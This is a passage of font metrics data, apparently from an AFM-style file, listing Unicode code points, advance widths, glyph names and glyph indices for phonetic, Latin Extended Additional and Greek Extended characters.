U 7472 ; WX 546 ; N uni1D30 ; G 1307
U 7473 ; WX 480 ; N uni1D31 ; G 1308
U 7474 ; WX 480 ; N uni1D32 ; G 1309
U 7475 ; WX 538 ; N uni1D33 ; G 1310
U 7476 ; WX 595 ; N uni1D34 ; G 1311
U 7477 ; WX 294 ; N uni1D35 ; G 1312
U 7478 ; WX 298 ; N uni1D36 ; G 1313
U 7479 ; WX 547 ; N uni1D37 ; G 1314
U 7480 ; WX 443 ; N uni1D38 ; G 1315
U 7481 ; WX 697 ; N uni1D39 ; G 1316
U 7482 ; WX 576 ; N uni1D3A ; G 1317
U 7483 ; WX 606 ; N uni1D3B ; G 1318
U 7484 ; WX 548 ; N uni1D3C ; G 1319
U 7485 ; WX 442 ; N uni1D3D ; G 1320
U 7486 ; WX 474 ; N uni1D3E ; G 1321
U 7487 ; WX 523 ; N uni1D3F ; G 1322
U 7488 ; WX 469 ; N uni1D40 ; G 1323
U 7489 ; WX 549 ; N uni1D41 ; G 1324
U 7490 ; WX 708 ; N uni1D42 ; G 1325
U 7491 ; WX 408 ; N uni1D43 ; G 1326
U 7492 ; WX 408 ; N uni1D44 ; G 1327
U 7493 ; WX 484 ; N uni1D45 ; G 1328
U 7494 ; WX 587 ; N uni1D46 ; G 1329
U 7495 ; WX 499 ; N uni1D47 ; G 1330
U 7496 ; WX 498 ; N uni1D48 ; G 1331
U 7497 ; WX 444 ; N uni1D49 ; G 1332
U 7498 ; WX 444 ; N uni1D4A ; G 1333
U 7499 ; WX 412 ; N uni1D4B ; G 1334
U 7500 ; WX 412 ; N uni1D4C ; G 1335
U 7501 ; WX 498 ; N uni1D4D ; G 1336
U 7502 ; WX 300 ; N uni1D4E ; G 1337
U 7503 ; WX 523 ; N uni1D4F ; G 1338
U 7504 ; WX 729 ; N uni1D50 ; G 1339
U 7505 ; WX 473 ; N uni1D51 ; G 1340
U 7506 ; WX 467 ; N uni1D52 ; G 1341
U 7507 ; WX 427 ; N uni1D53 ; G 1342
U 7508 ; WX 467 ; N uni1D54 ; G 1343
U 7509 ; WX 467 ; N uni1D55 ; G 1344
U 7510 ; WX 499 ; N uni1D56 ; G 1345
U 7511 ; WX 371 ; N uni1D57 ; G 1346
U 7512 ; WX 520 ; N uni1D58 ; G 1347
U 7513 ; WX 418 ; N uni1D59 ; G 1348
U 7514 ; WX 729 ; N uni1D5A ; G 1349
U 7515 ; WX 491 ; N uni1D5B ; G 1350
U 7516 ; WX 505 ; N uni1D5C ; G 1351
U 7517 ; WX 418 ; N uni1D5D ; G 1352
U 7518 ; WX 416 ; N uni1D5E ; G 1353
U 7519 ; WX 420 ; N uni1D5F ; G 1354
U 7520 ; WX 570 ; N uni1D60 ; G 1355
U 7521 ; WX 414 ; N uni1D61 ; G 1356
U 7522 ; WX 239 ; N uni1D62 ; G 1357
U 7523 ; WX 414 ; N uni1D63 ; G 1358
U 7524 ; WX 520 ; N uni1D64 ; G 1359
U 7525 ; WX 491 ; N uni1D65 ; G 1360
U 7526 ; WX 418 ; N uni1D66 ; G 1361
U 7527 ; WX 416 ; N uni1D67 ; G 1362
U 7528 ; WX 419 ; N uni1D68 ; G 1363
U 7529 ; WX 570 ; N uni1D69 ; G 1364
U 7530 ; WX 414 ; N uni1D6A ; G 1365
U 7531 ; WX 1042 ; N uni1D6B ; G 1366
U 7543 ; WX 640 ; N uni1D77 ; G 1367
U 7544 ; WX 595 ; N uni1D78 ; G 1368
U 7547 ; WX 380 ; N uni1D7B ; G 1369
U 7548 ; WX 380 ; N uni1D7C ; G 1370
U 7549 ; WX 699 ; N uni1D7D ; G 1371
U 7550 ; WX 647 ; N uni1D7E ; G 1372
U 7551 ; WX 679 ; N uni1D7F ; G 1373
U 7557 ; WX 380 ; N uni1D85 ; G 1374
U 7579 ; WX 484 ; N uni1D9B ; G 1375
U 7580 ; WX 427 ; N uni1D9C ; G 1376
U 7581 ; WX 427 ; N uni1D9D ; G 1377
U 7582 ; WX 467 ; N uni1D9E ; G 1378
U 7583 ; WX 412 ; N uni1D9F ; G 1379
U 7584 ; WX 271 ; N uni1DA0 ; G 1380
U 7585 ; WX 373 ; N uni1DA1 ; G 1381
U 7586 ; WX 498 ; N uni1DA2 ; G 1382
U 7587 ; WX 522 ; N uni1DA3 ; G 1383
U 7588 ; WX 300 ; N uni1DA4 ; G 1384
U 7589 ; WX 307 ; N uni1DA5 ; G 1385
U 7590 ; WX 300 ; N uni1DA6 ; G 1386
U 7591 ; WX 300 ; N uni1DA7 ; G 1387
U 7592 ; WX 370 ; N uni1DA8 ; G 1388
U 7593 ; WX 368 ; N uni1DA9 ; G 1389
U 7594 ; WX 321 ; N uni1DAA ; G 1390
U 7595 ; WX 430 ; N uni1DAB ; G 1391
U 7596 ; WX 682 ; N uni1DAC ; G 1392
U 7597 ; WX 729 ; N uni1DAD ; G 1393
U 7598 ; WX 588 ; N uni1DAE ; G 1394
U 7599 ; WX 587 ; N uni1DAF ; G 1395
U 7600 ; WX 472 ; N uni1DB0 ; G 1396
U 7601 ; WX 467 ; N uni1DB1 ; G 1397
U 7602 ; WX 522 ; N uni1DB2 ; G 1398
U 7603 ; WX 400 ; N uni1DB3 ; G 1399
U 7604 ; WX 387 ; N uni1DB4 ; G 1400
U 7605 ; WX 371 ; N uni1DB5 ; G 1401
U 7606 ; WX 520 ; N uni1DB6 ; G 1402
U 7607 ; WX 475 ; N uni1DB7 ; G 1403
U 7608 ; WX 408 ; N uni1DB8 ; G 1404
U 7609 ; WX 489 ; N uni1DB9 ; G 1405
U 7610 ; WX 366 ; N uni1DBA ; G 1406
U 7611 ; WX 357 ; N uni1DBB ; G 1407
U 7612 ; WX 527 ; N uni1DBC ; G 1408
U 7613 ; WX 412 ; N uni1DBD ; G 1409
U 7614 ; WX 452 ; N uni1DBE ; G 1410
U 7615 ; WX 467 ; N uni1DBF ; G 1411
U 7620 ; WX 0 ; N uni1DC4 ; G 1412
U 7621 ; WX 0 ; N uni1DC5 ; G 1413
U 7622 ; WX 0 ; N uni1DC6 ; G 1414
U 7623 ; WX 0 ; N uni1DC7 ; G 1415
U 7624 ; WX 0 ; N uni1DC8 ; G 1416
U 7625 ; WX 0 ; N uni1DC9 ; G 1417
U 7680 ; WX 776 ; N uni1E00 ; G 1418
U 7681 ; WX 648 ; N uni1E01 ; G 1419
U 7682 ; WX 845 ; N uni1E02 ; G 1420
U 7683 ; WX 699 ; N uni1E03 ; G 1421
U 7684 ; WX 845 ; N uni1E04 ; G 1422
U 7685 ; WX 699 ; N uni1E05 ; G 1423
U 7686 ; WX 845 ; N uni1E06 ; G 1424
U 7687 ; WX 699 ; N uni1E07 ; G 1425
U 7688 ; WX 796 ; N uni1E08 ; G 1426
U 7689 ; WX 609 ; N uni1E09 ; G 1427
U 7690 ; WX 867 ; N uni1E0A ; G 1428
U 7691 ; WX 699 ; N uni1E0B ; G 1429
U 7692 ; WX 867 ; N uni1E0C ; G 1430
U 7693 ; WX 699 ; N uni1E0D ; G 1431
U 7694 ; WX 867 ; N uni1E0E ; G 1432
U 7695 ; WX 699 ; N uni1E0F ; G 1433
U 7696 ; WX 867 ; N uni1E10 ; G 1434
U 7697 ; WX 699 ; N uni1E11 ; G 1435
U 7698 ; WX 867 ; N uni1E12 ; G 1436
U 7699 ; WX 699 ; N uni1E13 ; G 1437
U 7700 ; WX 762 ; N uni1E14 ; G 1438
U 7701 ; WX 636 ; N uni1E15 ; G 1439
U 7702 ; WX 762 ; N uni1E16 ; G 1440
U 7703 ; WX 636 ; N uni1E17 ; G 1441
U 7704 ; WX 762 ; N uni1E18 ; G 1442
U 7705 ; WX 636 ; N uni1E19 ; G 1443
U 7706 ; WX 762 ; N uni1E1A ; G 1444
U 7707 ; WX 636 ; N uni1E1B ; G 1445
U 7708 ; WX 762 ; N uni1E1C ; G 1446
U 7709 ; WX 636 ; N uni1E1D ; G 1447
U 7710 ; WX 710 ; N uni1E1E ; G 1448
U 7711 ; WX 430 ; N uni1E1F ; G 1449
U 7712 ; WX 854 ; N uni1E20 ; G 1450
U 7713 ; WX 699 ; N uni1E21 ; G 1451
U 7714 ; WX 945 ; N uni1E22 ; G 1452
U 7715 ; WX 727 ; N uni1E23 ; G 1453
U 7716 ; WX 945 ; N uni1E24 ; G 1454
U 7717 ; WX 727 ; N uni1E25 ; G 1455
U 7718 ; WX 945 ; N uni1E26 ; G 1456
U 7719 ; WX 727 ; N uni1E27 ; G 1457
U 7720 ; WX 945 ; N uni1E28 ; G 1458
U 7721 ; WX 727 ; N uni1E29 ; G 1459
U 7722 ; WX 945 ; N uni1E2A ; G 1460
U 7723 ; WX 727 ; N uni1E2B ; G 1461
U 7724 ; WX 468 ; N uni1E2C ; G 1462
U 7725 ; WX 380 ; N uni1E2D ; G 1463
U 7726 ; WX 468 ; N uni1E2E ; G 1464
U 7727 ; WX 380 ; N uni1E2F ; G 1465
U 7728 ; WX 869 ; N uni1E30 ; G 1466
U 7729 ; WX 693 ; N uni1E31 ; G 1467
U 7730 ; WX 869 ; N uni1E32 ; G 1468
U 7731 ; WX 693 ; N uni1E33 ; G 1469
U 7732 ; WX 869 ; N uni1E34 ; G 1470
U 7733 ; WX 693 ; N uni1E35 ; G 1471
U 7734 ; WX 703 ; N uni1E36 ; G 1472
U 7735 ; WX 380 ; N uni1E37 ; G 1473
U 7736 ; WX 703 ; N uni1E38 ; G 1474
U 7737 ; WX 380 ; N uni1E39 ; G 1475
U 7738 ; WX 703 ; N uni1E3A ; G 1476
U 7739 ; WX 380 ; N uni1E3B ; G 1477
U 7740 ; WX 703 ; N uni1E3C ; G 1478
U 7741 ; WX 380 ; N uni1E3D ; G 1479
U 7742 ; WX 1107 ; N uni1E3E ; G 1480
U 7743 ; WX 1058 ; N uni1E3F ; G 1481
U 7744 ; WX 1107 ; N uni1E40 ; G 1482
U 7745 ; WX 1058 ; N uni1E41 ; G 1483
U 7746 ; WX 1107 ; N uni1E42 ; G 1484
U 7747 ; WX 1058 ; N uni1E43 ; G 1485
U 7748 ; WX 914 ; N uni1E44 ; G 1486
U 7749 ; WX 727 ; N uni1E45 ; G 1487
U 7750 ; WX 914 ; N uni1E46 ; G 1488
U 7751 ; WX 727 ; N uni1E47 ; G 1489
U 7752 ; WX 914 ; N uni1E48 ; G 1490
U 7753 ; WX 727 ; N uni1E49 ; G 1491
U 7754 ; WX 914 ; N uni1E4A ; G 1492
U 7755 ; WX 727 ; N uni1E4B ; G 1493
U 7756 ; WX 871 ; N uni1E4C ; G 1494
U 7757 ; WX 667 ; N uni1E4D ; G 1495
U 7758 ; WX 871 ; N uni1E4E ; G 1496
U 7759 ; WX 667 ; N uni1E4F ; G 1497
U 7760 ; WX 871 ; N uni1E50 ; G 1498
U 7761 ; WX 667 ; N uni1E51 ; G 1499
U 7762 ; WX 871 ; N uni1E52 ; G 1500
U 7763 ; WX 667 ; N uni1E53 ; G 1501
U 7764 ; WX 752 ; N uni1E54 ; G 1502
U 7765 ; WX 699 ; N uni1E55 ; G 1503
U 7766 ; WX 752 ; N uni1E56 ; G 1504
U 7767 ; WX 699 ; N uni1E57 ; G 1505
U 7768 ; WX 831 ; N uni1E58 ; G 1506
U 7769 ; WX 527 ; N uni1E59 ; G 1507
U 7770 ; WX 831 ; N uni1E5A ; G 1508
U 7771 ; WX 527 ; N uni1E5B ; G 1509
U 7772 ; WX 831 ; N uni1E5C ; G 1510
U 7773 ; WX 527 ; N uni1E5D ; G 1511
U 7774 ; WX 831 ; N uni1E5E ; G 1512
U 7775 ; WX 527 ; N uni1E5F ; G 1513
U 7776 ; WX 722 ; N uni1E60 ; G 1514
U 7777 ; WX 563 ; N uni1E61 ; G 1515
U 7778 ; WX 722 ; N uni1E62 ; G 1516
U 7779 ; WX 563 ; N uni1E63 ; G 1517
U 7780 ; WX 722 ; N uni1E64 ; G 1518
U 7781 ; WX 563 ; N uni1E65 ; G 1519
U 7782 ; WX 722 ; N uni1E66 ; G 1520
U 7783 ; WX 563 ; N uni1E67 ; G 1521
U 7784 ; WX 722 ; N uni1E68 ; G 1522
U 7785 ; WX 563 ; N uni1E69 ; G 1523
U 7786 ; WX 744 ; N uni1E6A ; G 1524
U 7787 ; WX 462 ; N uni1E6B ; G 1525
U 7788 ; WX 744 ; N uni1E6C ; G 1526
U 7789 ; WX 462 ; N uni1E6D ; G 1527
U 7790 ; WX 744 ; N uni1E6E ; G 1528
U 7791 ; WX 462 ; N uni1E6F ; G 1529
U 7792 ; WX 744 ; N uni1E70 ; G 1530
U 7793 ; WX 462 ; N uni1E71 ; G 1531
U 7794 ; WX 872 ; N uni1E72 ; G 1532
U 7795 ; WX 727 ; N uni1E73 ; G 1533
U 7796 ; WX 872 ; N uni1E74 ; G 1534
U 7797 ; WX 727 ; N uni1E75 ; G 1535
U 7798 ; WX 872 ; N uni1E76 ; G 1536
U 7799 ; WX 727 ; N uni1E77 ; G 1537
U 7800 ; WX 872 ; N uni1E78 ; G 1538
U 7801 ; WX 727 ; N uni1E79 ; G 1539
U 7802 ; WX 872 ; N uni1E7A ; G 1540
U 7803 ; WX 727 ; N uni1E7B ; G 1541
U 7804 ; WX 776 ; N uni1E7C ; G 1542
U 7805 ; WX 581 ; N uni1E7D ; G 1543
U 7806 ; WX 776 ; N uni1E7E ; G 1544
U 7807 ; WX 581 ; N uni1E7F ; G 1545
U 7808 ; WX 1123 ; N Wgrave ; G 1546
U 7809 ; WX 861 ; N wgrave ; G 1547
U 7810 ; WX 1123 ; N Wacute ; G 1548
U 7811 ; WX 861 ; N wacute ; G 1549
U 7812 ; WX 1123 ; N Wdieresis ; G 1550
U 7813 ; WX 861 ; N wdieresis ; G 1551
U 7814 ; WX 1123 ; N uni1E86 ; G 1552
U 7815 ; WX 861 ; N uni1E87 ; G 1553
U 7816 ; WX 1123 ; N uni1E88 ; G 1554
U 7817 ; WX 861 ; N uni1E89 ; G 1555
U 7818 ; WX 776 ; N uni1E8A ; G 1556
U 7819 ; WX 596 ; N uni1E8B ; G 1557
U 7820 ; WX 776 ; N uni1E8C ; G 1558
U 7821 ; WX 596 ; N uni1E8D ; G 1559
U 7822 ; WX 714 ; N uni1E8E ; G 1560
U 7823 ; WX 581 ; N uni1E8F ; G 1561
U 7824 ; WX 730 ; N uni1E90 ; G 1562
U 7825 ; WX 568 ; N uni1E91 ; G 1563
U 7826 ; WX 730 ; N uni1E92 ; G 1564
U 7827 ; WX 568 ; N uni1E93 ; G 1565
U 7828 ; WX 730 ; N uni1E94 ; G 1566
U 7829 ; WX 568 ; N uni1E95 ; G 1567
U 7830 ; WX 727 ; N uni1E96 ; G 1568
U 7831 ; WX 462 ; N uni1E97 ; G 1569
U 7832 ; WX 861 ; N uni1E98 ; G 1570
U 7833 ; WX 581 ; N uni1E99 ; G 1571
U 7834 ; WX 1014 ; N uni1E9A ; G 1572
U 7835 ; WX 430 ; N uni1E9B ; G 1573
U 7836 ; WX 430 ; N uni1E9C ; G 1574
U 7837 ; WX 430 ; N uni1E9D ; G 1575
U 7838 ; WX 947 ; N uni1E9E ; G 1576
U 7839 ; WX 667 ; N uni1E9F ; G 1577
U 7840 ; WX 776 ; N uni1EA0 ; G 1578
U 7841 ; WX 648 ; N uni1EA1 ; G 1579
U 7842 ; WX 776 ; N uni1EA2 ; G 1580
U 7843 ; WX 648 ; N uni1EA3 ; G 1581
U 7844 ; WX 776 ; N uni1EA4 ; G 1582
U 7845 ; WX 648 ; N uni1EA5 ; G 1583
U 7846 ; WX 776 ; N uni1EA6 ; G 1584
U 7847 ; WX 648 ; N uni1EA7 ; G 1585
U 7848 ; WX 776 ; N uni1EA8 ; G 1586
U 7849 ; WX 648 ; N uni1EA9 ; G 1587
U 7850 ; WX 776 ; N uni1EAA ; G 1588
U 7851 ; WX 648 ; N uni1EAB ; G 1589
U 7852 ; WX 776 ; N uni1EAC ; G 1590
U 7853 ; WX 648 ; N uni1EAD ; G 1591
U 7854 ; WX 776 ; N uni1EAE ; G 1592
U 7855 ; WX 648 ; N uni1EAF ; G 1593
U 7856 ; WX 776 ; N uni1EB0 ; G 1594
U 7857 ; WX 648 ; N uni1EB1 ; G 1595
U 7858 ; WX 776 ; N uni1EB2 ; G 1596
U 7859 ; WX 648 ; N uni1EB3 ; G 1597
U 7860 ; WX 776 ; N uni1EB4 ; G 1598
U 7861 ; WX 648 ; N uni1EB5 ; G 1599
U 7862 ; WX 776 ; N uni1EB6 ; G 1600
U 7863 ; WX 648 ; N uni1EB7 ; G 1601
U 7864 ; WX 762 ; N uni1EB8 ; G 1602
U 7865 ; WX 636 ; N uni1EB9 ; G 1603
U 7866 ; WX 762 ; N uni1EBA ; G 1604
U 7867 ; WX 636 ; N uni1EBB ; G 1605
U 7868 ; WX 762 ; N uni1EBC ; G 1606
U 7869 ; WX 636 ; N uni1EBD ; G 1607
U 7870 ; WX 762 ; N uni1EBE ; G 1608
U 7871 ; WX 636 ; N uni1EBF ; G 1609
U 7872 ; WX 762 ; N uni1EC0 ; G 1610
U 7873 ; WX 636 ; N uni1EC1 ; G 1611
U 7874 ; WX 762 ; N uni1EC2 ; G 1612
U 7875 ; WX 636 ; N uni1EC3 ; G 1613
U 7876 ; WX 762 ; N uni1EC4 ; G 1614
U 7877 ; WX 636 ; N uni1EC5 ; G 1615
U 7878 ; WX 762 ; N uni1EC6 ; G 1616
U 7879 ; WX 636 ; N uni1EC7 ; G 1617
U 7880 ; WX 468 ; N uni1EC8 ; G 1618
U 7881 ; WX 380 ; N uni1EC9 ; G 1619
U 7882 ; WX 468 ; N uni1ECA ; G 1620
U 7883 ; WX 380 ; N uni1ECB ; G 1621
U 7884 ; WX 871 ; N uni1ECC ; G 1622
U 7885 ; WX 667 ; N uni1ECD ; G 1623
U 7886 ; WX 871 ; N uni1ECE ; G 1624
U 7887 ; WX 667 ; N uni1ECF ; G 1625
U 7888 ; WX 871 ; N uni1ED0 ; G 1626
U 7889 ; WX 667 ; N uni1ED1 ; G 1627
U 7890 ; WX 871 ; N uni1ED2 ; G 1628
U 7891 ; WX 667 ; N uni1ED3 ; G 1629
U 7892 ; WX 871 ; N uni1ED4 ; G 1630
U 7893 ; WX 667 ; N uni1ED5 ; G 1631
U 7894 ; WX 871 ; N uni1ED6 ; G 1632
U 7895 ; WX 667 ; N uni1ED7 ; G 1633
U 7896 ; WX 871 ; N uni1ED8 ; G 1634
U 7897 ; WX 667 ; N uni1ED9 ; G 1635
U 7898 ; WX 871 ; N uni1EDA ; G 1636
U 7899 ; WX 667 ; N uni1EDB ; G 1637
U 7900 ; WX 871 ; N uni1EDC ; G 1638
U 7901 ; WX 667 ; N uni1EDD ; G 1639
U 7902 ; WX 871 ; N uni1EDE ; G 1640
U 7903 ; WX 667 ; N uni1EDF ; G 1641
U 7904 ; WX 871 ; N uni1EE0 ; G 1642
U 7905 ; WX 667 ; N uni1EE1 ; G 1643
U 7906 ; WX 871 ; N uni1EE2 ; G 1644
U 7907 ; WX 667 ; N uni1EE3 ; G 1645
U 7908 ; WX 872 ; N uni1EE4 ; G 1646
U 7909 ; WX 727 ; N uni1EE5 ; G 1647
U 7910 ; WX 872 ; N uni1EE6 ; G 1648
U 7911 ; WX 727 ; N uni1EE7 ; G 1649
U 7912 ; WX 872 ; N uni1EE8 ; G 1650
U 7913 ; WX 727 ; N uni1EE9 ; G 1651
U 7914 ; WX 872 ; N uni1EEA ; G 1652
U 7915 ; WX 727 ; N uni1EEB ; G 1653
U 7916 ; WX 872 ; N uni1EEC ; G 1654
U 7917 ; WX 727 ; N uni1EED ; G 1655
U 7918 ; WX 872 ; N uni1EEE ; G 1656
U 7919 ; WX 727 ; N uni1EEF ; G 1657
U 7920 ; WX 872 ; N uni1EF0 ; G 1658
U 7921 ; WX 727 ; N uni1EF1 ; G 1659
U 7922 ; WX 714 ; N Ygrave ; G 1660
U 7923 ; WX 581 ; N ygrave ; G 1661
U 7924 ; WX 714 ; N uni1EF4 ; G 1662
U 7925 ; WX 581 ; N uni1EF5 ; G 1663
U 7926 ; WX 714 ; N uni1EF6 ; G 1664
U 7927 ; WX 581 ; N uni1EF7 ; G 1665
U 7928 ; WX 714 ; N uni1EF8 ; G 1666
U 7929 ; WX 581 ; N uni1EF9 ; G 1667
U 7930 ; WX 1078 ; N uni1EFA ; G 1668
U 7931 ; WX 701 ; N uni1EFB ; G 1669
U 7936 ; WX 770 ; N uni1F00 ; G 1670
U 7937 ; WX 770 ; N uni1F01 ; G 1671
U 7938 ; WX 770 ; N uni1F02 ; G 1672
U 7939 ; WX 770 ; N uni1F03 ; G 1673
U 7940 ; WX 770 ; N uni1F04 ; G 1674
U 7941 ; WX 770 ; N uni1F05 ; G 1675
U 7942 ; WX 770 ; N uni1F06 ; G 1676
U 7943 ; WX 770 ; N uni1F07 ; G 1677
U 7944 ; WX 776 ; N uni1F08 ; G 1678
U 7945 ; WX 776 ; N uni1F09 ; G 1679
U 7946 ; WX 978 ; N uni1F0A ; G 1680
U 7947 ; WX 978 ; N uni1F0B ; G 1681
U 7948 ; WX 832 ; N uni1F0C ; G 1682
U 7949 ; WX 849 ; N uni1F0D ; G 1683
U 7950 ; WX 776 ; N uni1F0E ; G 1684
U 7951 ; WX 776 ; N uni1F0F ; G 1685
U 7952 ; WX 608 ; N uni1F10 ; G 1686
U 7953 ; WX 608 ; N uni1F11 ; G 1687
U 7954 ; WX 608 ; N uni1F12 ; G 1688
U 7955 ; WX 608 ; N uni1F13 ; G 1689
U 7956 ; WX 608 ; N uni1F14 ; G 1690
U 7957 ; WX 608 ; N uni1F15 ; G 1691
U 7960 ; WX 917 ; N uni1F18 ; G 1692
U 7961 ; WX 909 ; N uni1F19 ; G 1693
U 7962 ; WX 1169 ; N uni1F1A ; G 1694
U 7963 ; WX 1169 ; N uni1F1B ; G 1695
U 7964 ; WX 1093 ; N uni1F1C ; G 1696
U 7965 ; WX 1120 ; N uni1F1D ; G 1697
U 7968 ; WX 727 ; N uni1F20 ; G 1698
U 7969 ; WX 727 ; N uni1F21 ; G 1699
U 7970 ; WX 727 ; N uni1F22 ; G 1700
U 7971 ; WX 727 ; N uni1F23 ; G 1701
U 7972 ; WX 727 ; N uni1F24 ; G 1702
U 7973 ; WX 727 ; N uni1F25 ; G 1703
U 7974 ; WX 727 ; N uni1F26 ; G 1704
U 7975 ; WX 727 ; N uni1F27 ; G 1705
U 7976 ; WX 1100 ; N uni1F28 ; G 1706
U 7977 ; WX 1094 ; N uni1F29 ; G 1707
U 7978 ; WX 1358 ; N uni1F2A ; G 1708
U 7979 ; WX 1361 ; N uni1F2B ; G 1709
U 7980 ; WX 1279 ; N uni1F2C ; G 1710
U 7981 ; WX 1308 ; N uni1F2D ; G 1711
U 7982 ; WX 1197 ; N uni1F2E ; G 1712
U 7983 ; WX 1194 ; N uni1F2F ; G 1713
U 7984 ; WX 484 ; N uni1F30 ; G 1714
U 7985 ; WX 484 ; N uni1F31 ; G 1715
U 7986 ; WX 484 ; N uni1F32 ; G 1716
U 7987 ; WX 484 ; N uni1F33 ; G 1717
U 7988 ; WX 484 ; N uni1F34 ; G 1718
U 7989 ; WX 484 ; N uni1F35 ; G 1719
U 7990 ; WX 484 ; N uni1F36 ; G 1720
U 7991 ; WX 484 ; N uni1F37 ; G 1721
U 7992 ; WX 629 ; N uni1F38 ; G 1722
U 7993 ; WX 617 ; N uni1F39 ; G 1723
U 7994 ; WX 878 ; N uni1F3A ; G 1724
U 7995 ; WX 881 ; N uni1F3B ; G 1725
U 7996 ; WX 799 ; N uni1F3C ; G 1726
U 7997 ; WX 831 ; N uni1F3D ; G 1727
U 7998 ; WX 723 ; N uni1F3E ; G 1728
U 7999 ; WX 714 ; N uni1F3F ; G 1729
U 8000 ; WX 667 ; N uni1F40 ; G 1730
U 8001 ; WX 667 ; N uni1F41 ; G 1731
U 8002 ; WX 667 ; N uni1F42 ; G 1732
U 8003 ; WX 667 ; N uni1F43 ; G 1733
U 8004 ; WX 667 ; N uni1F44 ; G 1734
U 8005 ; WX 667 ; N uni1F45 ; G 1735
U 8008 ; WX 900 ; N uni1F48 ; G 1736
U 8009 ; WX 935 ; N uni1F49 ; G 1737
U 8010 ; WX 1240 ; N uni1F4A ; G 1738
U 8011 ; WX 1237 ; N uni1F4B ; G 1739
U 8012 ; WX 1035 ; N uni1F4C ; G 1740
U 8013 ; WX 1066 ; N uni1F4D ; G 1741
U 8016 ; WX 694 ; N uni1F50 ; G 1742
U 8017 ; WX 694 ; N uni1F51 ; G 1743
U 8018 ; WX 694 ; N uni1F52 ; G 1744
U 8019 ; WX 694 ; N uni1F53 ; G 1745
U 8020 ; WX 694 ; N uni1F54 ; G 1746
U 8021 ; WX 694 ; N uni1F55 ; G 1747
U 8022 ; WX 694 ; N uni1F56 ; G 1748
U 8023 ; WX 694 ; N uni1F57 ; G 1749
U 8025 ; WX 922 ; N uni1F59 ; G 1750
U 8027 ; WX 1186 ; N uni1F5B ; G 1751
U 8029 ; WX 1133 ; N uni1F5D ; G 1752
U 8031 ; WX 1019 ; N uni1F5F ; G 1753
U 8032 ; WX 952 ; N uni1F60 ; G 1754
U 8033 ; WX 952 ; N uni1F61 ; G 1755
U 8034 ; WX 952 ; N uni1F62 ; G 1756
U 8035 ; WX 952 ; N uni1F63 ; G 1757
U 8036 ; WX 952 ; N uni1F64 ; G 1758
U 8037 ; WX 952 ; N uni1F65 ; G 1759
U 8038 ; WX 952 ; N uni1F66 ; G 1760
U 8039 ; WX 952 ; N uni1F67 ; G 1761
U 8040 ; WX 931 ; N uni1F68 ; G 1762
U 8041 ; WX 963 ; N uni1F69 ; G 1763
U 8042 ; WX 1268 ; N uni1F6A ; G 1764
U 8043 ; WX 1274 ; N uni1F6B ; G 1765
U 8044 ; WX 1054 ; N uni1F6C ; G 1766
U 8045 ; WX 1088 ; N uni1F6D ; G 1767
U 8046 ; WX 1023 ; N uni1F6E ; G 1768
U 8047 ; WX 1060 ; N uni1F6F ; G 1769
U 8048 ; WX 770 ; N uni1F70 ; G 1770
U 8049 ; WX 770 ; N uni1F71 ; G 1771
U 8050 ; WX 608 ; N uni1F72 ; G 1772
U 8051 ; WX 608 ; N uni1F73 ; G 1773
U 8052 ; WX 727 ; N uni1F74 ; G 1774
U 8053 ; WX 727 ; N uni1F75 ; G 1775
U 8054 ; WX 484 ; N uni1F76 ; G 1776
U 8055 ; WX 484 ; N uni1F77 ; G 1777
U 8056 ; WX 667 ; N uni1F78 ; G 1778
U 8057 ; WX 667 ; N uni1F79 ; G 1779
U 8058 ; WX 694 ; N uni1F7A ; G 1780
U 8059 ; WX 694 ; N uni1F7B ; G 1781
U 8060 ; WX 952 ; N uni1F7C ; G 1782
U 8061 ; WX 952 ; N uni1F7D ; G 1783
U 8064 ; WX 770 ; N uni1F80 ; G 1784
U 8065 ; WX 770 ; N uni1F81 ; G 1785
U 8066 ; WX 770 ; N uni1F82 ; G 1786
U 8067 ; WX 770 ; N uni1F83 ; G 1787
U 8068 ; WX 770 ; N uni1F84 ; G 1788
U 8069 ; WX 770 ; N uni1F85 ; G 1789
U 8070 ; WX 770 ; N uni1F86 ; G 1790
U 8071 ; WX 770 ; N uni1F87 ; G 1791
U 8072 ; WX 776 ; N uni1F88 ; G 1792
U 8073 ; WX 776 ; N uni1F89 ; G 1793
U 8074 ; WX 978 ; N uni1F8A ; G 1794
U 8075 ; WX 978 ; N uni1F8B ; G 1795
U 8076 ; WX 832 ; N uni1F8C ; G 1796
U 8077 ; WX 849 ; N uni1F8D ; G 1797
U 8078 ; WX 776 ; N uni1F8E ; G 1798
U 8079 ; WX 776 ; N uni1F8F ; G 1799
U 8080 ; WX 727 ; N uni1F90 ; G 1800
U 8081 ; WX 727 ; N uni1F91 ; G 1801
U 8082 ; WX 727 ; N uni1F92 ; G 1802
U 8083 ; WX 727 ; N uni1F93 ; G 1803
U 8084 ; WX 727 ; N uni1F94 ; G 1804
U 8085 ; WX 727 ; N uni1F95 ; G 1805
U 8086 ; WX 727 ; N uni1F96 ; G 1806
U 8087 ; WX 727 ; N uni1F97 ; G 1807
U 8088 ; WX 1100 ; N uni1F98 ; G 1808
U 8089 ; WX 1094 ; N uni1F99 ; G 1809
U 8090 ; WX 1358 ; N uni1F9A ; G 1810
U 8091 ; WX 1361 ; N uni1F9B ; G 1811
U 8092 ; WX 1279 ; N uni1F9C ; G 1812
U 8093 ; WX 1308 ; N uni1F9D ; G 1813
U 8094 ; WX 1197 ; N uni1F9E ; G 1814
U 8095 ; WX 1194 ; N uni1F9F ; G 1815
U 8096 ; WX 952 ; N uni1FA0 ; G 1816
U 8097 ; WX 952 ; N uni1FA1 ; G 1817
U 8098 ; WX 952 ; N uni1FA2 ; G 1818
U 8099 ; WX 952 ; N uni1FA3 ; G 1819
U 8100 ; WX 952 ; N uni1FA4 ; G 1820
U 8101 ; WX 952 ; N uni1FA5 ; G 1821
U 8102 ; WX 952 ; N uni1FA6 ; G 1822
U 8103 ; WX 952 ; N uni1FA7 ; G 1823
U 8104 ; WX 931 ; N uni1FA8 ; G 1824
U 8105 ; WX 963 ; N uni1FA9 ; G 1825
U 8106 ; WX 1268 ; N uni1FAA ; G 1826
U 8107 ; WX 1274 ; N uni1FAB ; G 1827
U 8108 ; WX 1054 ; N uni1FAC ; G 1828
U 8109 ; WX 1088 ; N uni1FAD ; G 1829
U 8110 ; WX 1023 ; N uni1FAE ; G 1830
U 8111 ; WX 1060 ; N uni1FAF ; G 1831
U 8112 ; WX 770 ; N uni1FB0 ; G 1832
U 8113 ; WX 770 ; N uni1FB1 ; G 1833
U 8114 ; WX 770 ; N uni1FB2 ; G 1834
U 8115 ; WX 770 ; N uni1FB3 ; G 1835
U 8116 ; WX 770 ; N uni1FB4 ; G 1836
